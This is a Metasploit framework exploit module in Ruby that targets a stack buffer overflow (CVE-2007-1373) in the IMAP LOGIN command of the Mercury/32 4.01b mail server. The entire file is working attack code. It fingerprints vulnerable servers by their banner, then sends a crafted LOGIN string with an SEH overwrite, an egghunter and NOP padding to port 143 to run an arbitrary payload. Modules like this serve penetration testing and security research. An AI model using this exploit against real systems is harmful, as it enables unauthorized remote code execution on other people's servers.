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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Remote::Seh
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  include Msf::Exploit::Remote::Egghunter
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Mercury/32 4.01 IMAP LOGIN SEH Buffer Overflow',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in Mercury/32 <= 4.01b IMAPD
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          LOGIN verb. By sending a specially crafted login command, a buffer
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          is corrupted, and code execution is possible. This vulnerability was
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          discovered by (mu-b at digit-labs.org).
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        },
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        'Author' => [
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          'mu-b', # Discovery and exploit
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          'MC', # Metasploit module
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          'Ivan Racic' # Automatic targeting + egg hunter
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          ['CVE', '2007-1373'],
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          ['EDB', '3418']
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        ],
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        'Privileged' => true,
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        'DefaultOptions' => {
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          'EXITFUNC' => 'thread'
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        },
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        'Payload' => {
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          'BadChars' => "\x00\x0a\x0d\x20",
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          'Space' => 2500
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [
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            'Windows Universal',
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            {
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              'Ret' => 0x00401460
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            }
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          ]
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        ],
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        'DisclosureDate' => '2007-03-06',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(143)
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      ]
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    )
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  end
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  def check
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    connect
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    resp = sock.get_once
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    disconnect
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    return CheckCode::Vulnerable if resp =~ %r{Mercury/32 v4\.01[ab]}
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    Exploit::CheckCode::Safe
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  end
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  def exploit
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    hunter, egg = generate_egghunter(payload.encoded)
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    connect
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    sock.get_once
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    num = rand(255).to_i
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    sploit = 'A001 LOGIN ' + "\x20" * 1008 + "{#{num}}\n"
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    sploit << rand_text_alpha_upper(347)
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    sploit << egg + payload.encoded
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    sploit << rand_text_alpha_upper(7500 - payload.encoded.length - egg.length)
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    sploit << "\x74\x06\x75\x04" + [target.ret].pack('V')
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    sploit << make_nops(20)
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    sploit << hunter
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    sock.put(sploit)
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    sock.get_once
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    print_status("Sending payload (#{sploit.length} bytes) ...")
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    handler
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    disconnect
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  end
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end
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